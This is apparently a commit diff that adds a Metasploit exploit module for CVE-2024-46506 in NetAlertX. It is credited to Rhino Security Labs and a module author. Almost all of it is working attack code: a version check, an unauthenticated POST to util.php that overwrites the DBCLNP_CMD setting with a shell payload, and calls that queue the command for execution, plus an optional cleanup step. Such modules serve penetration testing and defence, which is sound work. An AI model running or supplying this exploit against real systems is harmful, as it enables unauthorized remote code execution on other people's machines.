|
| 1 | +## |
| 2 | +# This module requires Metasploit: https://metasploit.com/download |
| 3 | +# Current source: https://github.com/rapid7/metasploit-framework |
| 4 | +## |
| 5 | + |
| 6 | +class MetasploitModule < Msf::Exploit::Remote |
| 7 | + Rank = ExcellentRanking |
| 8 | + |
| 9 | + include Msf::Exploit::Remote::HttpClient |
| 10 | + prepend Msf::Exploit::Remote::AutoCheck |
| 11 | + include Msf::Exploit::Retry |
| 12 | + |
| 13 | + def initialize(info = {}) |
| 14 | + super( |
| 15 | + update_info( |
| 16 | + info, |
| 17 | + 'Name' => 'Unauthenticated RCE in NetAlertX', |
| 18 | + 'Description' => %q{ |
| 19 | + An attacker can update NetAlertX settings with no authentication, which results in RCE. |
| 20 | + }, |
| 21 | + 'Author' => [ |
| 22 | + 'Chebuya (Rhino Security Labs)', # Vulnerability discovery and PoC |
| 23 | + 'Takahiro Yokoyama' # Metasploit module |
| 24 | + ], |
| 25 | + 'License' => MSF_LICENSE, |
| 26 | + 'References' => [ |
| 27 | + ['CVE', '2024-46506'], |
| 28 | + ['URL', 'https://rhinosecuritylabs.com/research/cve-2024-46506-rce-in-netalertx/'], |
| 29 | + # ['URL', 'https://github.com/RhinoSecurityLabs/CVEs/tree/master/CVE-2024-46506'], Not published (yet?) |
| 30 | + ], |
| 31 | + 'DefaultOptions' => { |
| 32 | + 'FETCH_DELETE' => true, |
| 33 | + 'WfsDelay' => 150 |
| 34 | + }, |
| 35 | + 'Platform' => %w[linux], |
| 36 | + 'Targets' => [ |
| 37 | + [ |
| 38 | + 'Linux Command', { |
| 39 | + 'Arch' => [ ARCH_CMD ], 'Platform' => [ 'unix', 'linux' ], 'Type' => :nix_cmd |
| 40 | + } |
| 41 | + ], |
| 42 | + ], |
| 43 | + 'DefaultTarget' => 0, |
| 44 | + 'Payload' => { |
| 45 | + 'BadChars' => ' \'\\' |
| 46 | + }, |
| 47 | + 'DisclosureDate' => '2025-01-30', |
| 48 | + 'Notes' => { |
| 49 | + 'Stability' => [ CRASH_SAFE, ], |
| 50 | + 'SideEffects' => [ CONFIG_CHANGES, ARTIFACTS_ON_DISK, IOC_IN_LOGS ], |
| 51 | + 'Reliability' => [ REPEATABLE_SESSION, ] |
| 52 | + } |
| 53 | + ) |
| 54 | + ) |
| 55 | + |
| 56 | + register_options( |
| 57 | + [ |
| 58 | + Opt::RPORT(20211), |
| 59 | + OptInt.new('WAIT', [ true, 'Wait time (seconds) for the payload to be set', 75 ]), |
| 60 | + OptBool.new('CLEANUP', [false, 'Restore DBCLNP_CMD to original value after execution', true]) |
| 61 | + ] |
| 62 | + ) |
| 63 | + register_advanced_options( |
| 64 | + [ |
| 65 | + OptString.new('Base64Decoder', [true, 'The binary to use for base64 decoding', 'base64-short', %w[base64-short] ]) |
| 66 | + ] |
| 67 | + ) |
| 68 | + end |
| 69 | + |
| 70 | + def check |
| 71 | + res = send_request_cgi({ |
| 72 | + 'method' => 'GET', |
| 73 | + 'uri' => normalize_uri(target_uri.path, 'maintenance.php') |
| 74 | + }) |
| 75 | + return Exploit::CheckCode::Unknown unless res&.code == 200 |
| 76 | + |
| 77 | + html_document = res&.get_html_document |
| 78 | + return Exploit::CheckCode::Unknown('Failed to get html document.') if html_document.blank? |
| 79 | + |
| 80 | + version_element = html_document.xpath('//div[text()="Installed version"]//following-sibling::*') |
| 81 | + return Exploit::CheckCode::Unknown('Failed to get version element.') if version_element.blank? |
| 82 | + |
| 83 | + version = Rex::Version.new(version_element.text&.strip&.sub(/^v/, '')) |
| 84 | + return Exploit::CheckCode::Safe("Version #{version} detected, which is not vulnerable.") unless version.between?(Rex::Version.new('23.01.14'), Rex::Version.new('24.9.12')) |
| 85 | + |
| 86 | + Exploit::CheckCode::Appears("Version #{version} detected.") |
| 87 | + end |
| 88 | + |
| 89 | + def exploit |
| 90 | + # Command is split by space character, and executed by the following Python code: |
| 91 | + # subprocess.check_output(command, universal_newlines=True, stderr=subprocess.STDOUT, timeout=(set_RUN_TIMEOUT)) |
| 92 | + # https://github.com/jokob-sk/NetAlertX/blob/v24.9.12/server/plugin.py#L206 |
| 93 | + # https://github.com/jokob-sk/NetAlertX/blob/v24.9.12/server/plugin.py#L214 |
| 94 | + cmd = "/bin/sh -c #{payload.encode}" |
| 95 | + update_settings(cmd, '*') |
| 96 | + # Not updated immediately |
| 97 | + print_status('Waiting for the settings to be properly updated...') |
| 98 | + retry_until_truthy(timeout: datastore['WAIT']) do |
| 99 | + check_settings(cmd) |
| 100 | + end |
| 101 | + add_to_execution_queue('run|DBCLNP') |
| 102 | + add_to_execution_queue('cron_restart_backend') |
| 103 | + print_status('Added the payload to the queue. Waiting for the payload to run...') |
| 104 | + end |
| 105 | + |
| 106 | + def update_settings(cmd, sche) |
| 107 | + res = send_request_cgi({ |
| 108 | + 'method' => 'POST', |
| 109 | + 'uri' => normalize_uri(target_uri.path, 'php/server/util.php'), |
| 110 | + 'vars_post' => { |
| 111 | + 'function' => 'savesettings', |
| 112 | + 'settings' => [ |
| 113 | + ['DBCLNP', 'DBCLNP_RUN', 'string', 'schedule'], |
| 114 | + ['DBCLNP', 'DBCLNP_CMD', 'string', cmd], |
| 115 | + ['DBCLNP', 'DBCLNP_RUN_SCHD', 'string', "#{sche} * * * *"], |
| 116 | + ].to_json |
| 117 | + } |
| 118 | + }) |
| 119 | + fail_with(Failure::Unknown, 'Failed to update settings.') unless res&.code == 200 |
| 120 | + print_status("Sent request to update DBCLNP_CMD to '#{cmd}'.") |
| 121 | + end |
| 122 | + |
| 123 | + def add_to_execution_queue(cmd) |
| 124 | + res = send_request_cgi({ |
| 125 | + 'method' => 'POST', |
| 126 | + 'uri' => normalize_uri(target_uri.path, 'php/server/util.php'), |
| 127 | + 'vars_post' => { |
| 128 | + 'function' => 'addToExecutionQueue', |
| 129 | + 'action' => "#{SecureRandom.uuid}|#{cmd}" |
| 130 | + } |
| 131 | + }) |
| 132 | + fail_with(Failure::Unknown, 'Failed to add the payload to the queue.') unless res&.code == 200 |
| 133 | + end |
| 134 | + |
| 135 | + def check_settings(cmd) |
| 136 | + res = send_request_cgi({ |
| 137 | + 'method' => 'GET', |
| 138 | + 'uri' => normalize_uri(target_uri.path, 'api/table_settings.json') |
| 139 | + }) |
| 140 | + return unless res&.code == 200 |
| 141 | + |
| 142 | + res.get_json_document['data']&.detect { |row| row['Code_Name'] == 'DBCLNP_CMD' && row['Value'] == cmd } |
| 143 | + end |
| 144 | + |
| 145 | + def cleanup |
| 146 | + super |
| 147 | + |
| 148 | + if datastore['CLEANUP'] |
| 149 | + # Default settings, isn't usually changed. |
| 150 | + # https://github.com/jokob-sk/NetAlertX/blob/v24.9.12/front/plugins/db_cleanup/config.json#L92 |
| 151 | + update_settings( |
| 152 | + 'python3 /app/front/plugins/db_cleanup/script.py pluginskeephistory={pluginskeephistory} hourstokeepnewdevice={hourstokeepnewdevice} daystokeepevents={daystokeepevents} pholuskeepdays={pholuskeepdays}', |
| 153 | + '*/30' |
| 154 | + ) |
| 155 | + end |
| 156 | + end |
| 157 | +end |
0 commit comments